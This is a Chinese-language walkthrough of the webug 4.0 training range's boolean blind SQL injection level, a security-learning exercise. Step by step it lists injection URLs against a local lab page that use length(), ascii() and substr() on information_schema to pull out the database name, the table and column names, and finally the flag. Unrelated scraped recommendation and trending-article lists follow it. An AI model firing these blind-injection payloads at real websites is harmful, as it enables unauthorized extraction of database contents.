思路:先查询数据库长度,再查询数据库名
再查表个数,表长度,表名
再查列个数,列长度,列名
最后查表中对应字段
成功取flag值

url:http://192.168.1.4/control/sqlinject/bool_injection.php?id=1

判断注入点

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1'      报错
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and 1=1 %23    不报错,这里的%23为#的url编码
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and 1=2 %23    报错

查看数据库长度

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(database())=5 %23
这里查到数据库长度为5,可使用二分法进行查询

查看数据库名

使用函数ascii(),substr()
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr(database(),1,1))=119 %23
查询数据库的第一个字母为w
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr(database(),2,1))=101 %23
查询数据库的第二个字母为e       修改substr函数的值
以此类推,查询到数据库名为webug

查询数据库中表个数

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and (select count(table_schema) from information_schema.tables where table_schema='webug')=7 %23
表个数为7

查询数据库中每个表的长度

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1))=9 %23
查询出第一个表的长度为9
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select table_name from information_schema.tables where table_schema='webug' limit 1,1),1))=8 %23
查询出第二个表的长度为8    通过limit的值来查询第二个表
以此类推,可查出其他五个表的长度

取flag值

因flag值在第二个表中,故查询第二个表的信息
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 1,1),1))=101 %23
第二个表的第一个字母为e
以此类推,查询第二表为:env_list

查询表二中有多少个列

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and (select count(column_name) from information_schema.columns where table_name='env_list')=8 %23
表中有8列

查询表二的第一个列长度

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1))=2 %23
长度为2
查询第二个表第一列的第一个字母
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1))=105 %23
第一个字母为i
以此类推,第二个字母为d,所以,表的第一列为id

查询表二的第二个列长度

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select column_name from information_schema.columns where table_name='env_list' limit 1,1),1))=7 %23
长度为7
查询第二个表第二个列的第一个字母
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 1,1),1))=101 %23
第一个字母为e
以此类推,表的第二个列为envName

因为flag在第六列中,使用上述方法,先查询表二中第六列的长度,再查列的字母,查出第六列为:envFlag

库名:webug
表名:env_list
表中列名:id,envName,…,envFlag,…

查flag值的长度

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select envFlag from env_list where id=2 limit 0,1),1))=9 %23
flag值长度为9

查flag值的第一个字母

http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select envFlag from env_list where id=2 limit 0,1),1))=102 %23
flag值的第一个字母为:f
以此类推,flag值为:fdsafsdfa

webug 2、布尔注入相关推荐

  1. webug 4.0 第二关 布尔注入

    感谢webug团队一直以来的更新维护! webug是什么 WeBug名称定义为"我们的漏洞"靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网 ...

  2. webug4.0通关笔记---(第一天:布尔注入)

    布尔注入 页面在执行sql语句后,只会显示两种结果,Tuer or False 也就意味着,它不需要报错,不需要知道准确的字段个数, 归根结底它只关心一点: 我们的sql到底有没有被执行成功 如果还没 ...

  3. sql注入——布尔注入

    以sqli-labs-master 闯关游戏第八关为例: 第一步:判断注入点 ?id=1' and 1=2-- - //页面显示异常 ?id=1' and 1=1-- - //页面正常显示 第二步:判 ...

  4. webug4.0—布尔注入

    盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入.盲注一般分为布尔盲注和基于时间的盲注和报错的盲注.本次主要讲解的是基于布尔的盲注. Length()函数 返 ...

  5. 网络安全之webug显错注入实战

    一.实验所需函数 1. concat(str1,str2,...)返回结果为参数间无间隔符连接起来的字符串,如果其中有一个参数为NULL,返回结果为NULL 2. concat_ws(separato ...

  6. webug————显错注入

    1.打开靶场,寻找注入点进行测试 id=1 2.输入':":),进行判断查看是否报错 输入":)页面无变化,'出现报错,说明存在SQL注入 3.注入流程 :寻找注入点->构造 ...

  7. webug 4.0 第四关 POST注入

    感谢webug团队一直以来的更新维护! webug是什么 WeBug名称定义为"我们的漏洞"靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网 ...

  8. webug靶场注入篇

    显错注入 单引号报错,构造闭合,payload' and 1=1--+与 ' and 1=2,页面返回的信息不一致,由此还可以判断出存在注入,用order by查出字段数为二,union 联合查询找到 ...

  9. SQL注入之布尔型盲注

    什么是布尔判断SQL注入? "布尔判断"指的是利用SQL语句**逻辑与(and)**操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和 ...

最新文章

  1. AWS攻略——使用CodeCommit托管代码
  2. areas where akka is being deployed into production
  3. slurm任务调度系统部署和测试(一)
  4. 时钟同步和时钟修正的小技巧
  5. 安装Terminator和快捷键使用
  6. Codeforces Round #229
  7. html百度蜘蛛跳转代码,php搜索引擎劫持,百度蜘蛛劫持,搜索引擎蜘蛛劫持原理及代码分享...
  8. python-----运算符及while循环
  9. 中标麒麟linux卸载qt,国产化 银河麒麟编译Qt程序的问题汇总 | 阿拉灯
  10. 《精通Python设计模式》学习之原型模式
  11. Web开发者必备:Web应用检查清单
  12. 计算机硬盘是通用的吗,通用账务系统安装到计算机硬盘前需要进行的准备工作有()。A.清理硬盘B.校准计算机系统时间C.重设C - 作业在线问答...
  13. URAL 1132 Square Root(二次剩余定理)题解
  14. B站C语言字符动画原理,最初B站会员答题有多么“丧心病狂”?
  15. Silverlight游戏设计(Game Design):(六)场景编辑器之开源畅想
  16. 查找算法——adjacent_find
  17. 在 cmd 中启动 Android 模拟器
  18. hazelcast 搭建_Spring Boot集成Hazelcast实现集群与分布式内存缓存
  19. vxe-table 如何用回车键替换 Tab 键功能,回车切换到右侧单元格,回车切换下一个单元格
  20. EChat(简易聊天项目)七、保存聊天记录

热门文章

  1. android应用开发-从设计到实现 2-3 颜色的运用
  2. ACL访问控制列表 基础、创建ACL访问控制列表的两种方式、配置ACL访问控制列表规则、修改ACL规则的默认步长。子网掩码、反掩码、通配符掩码的区别和作用。
  3. 浪潮笔试摆石头——C++
  4. 搭档之家:第五次“联姻”?中信建投、中信证券携手涨停 网友:是并购的味道
  5. 云呐:车间管理部门固定资产设备管理软件是否需要定制
  6. Elasticsearch语法(聚合)
  7. NFT空投预售的几种方法
  8. 慈文传媒马中骏累计质押5838万股份 占总股本逾12%
  9. Cgroup是什么(相关概念、功能、作用、特点、怎么用)
  10. CVPR 2018 最牛逼的十篇论文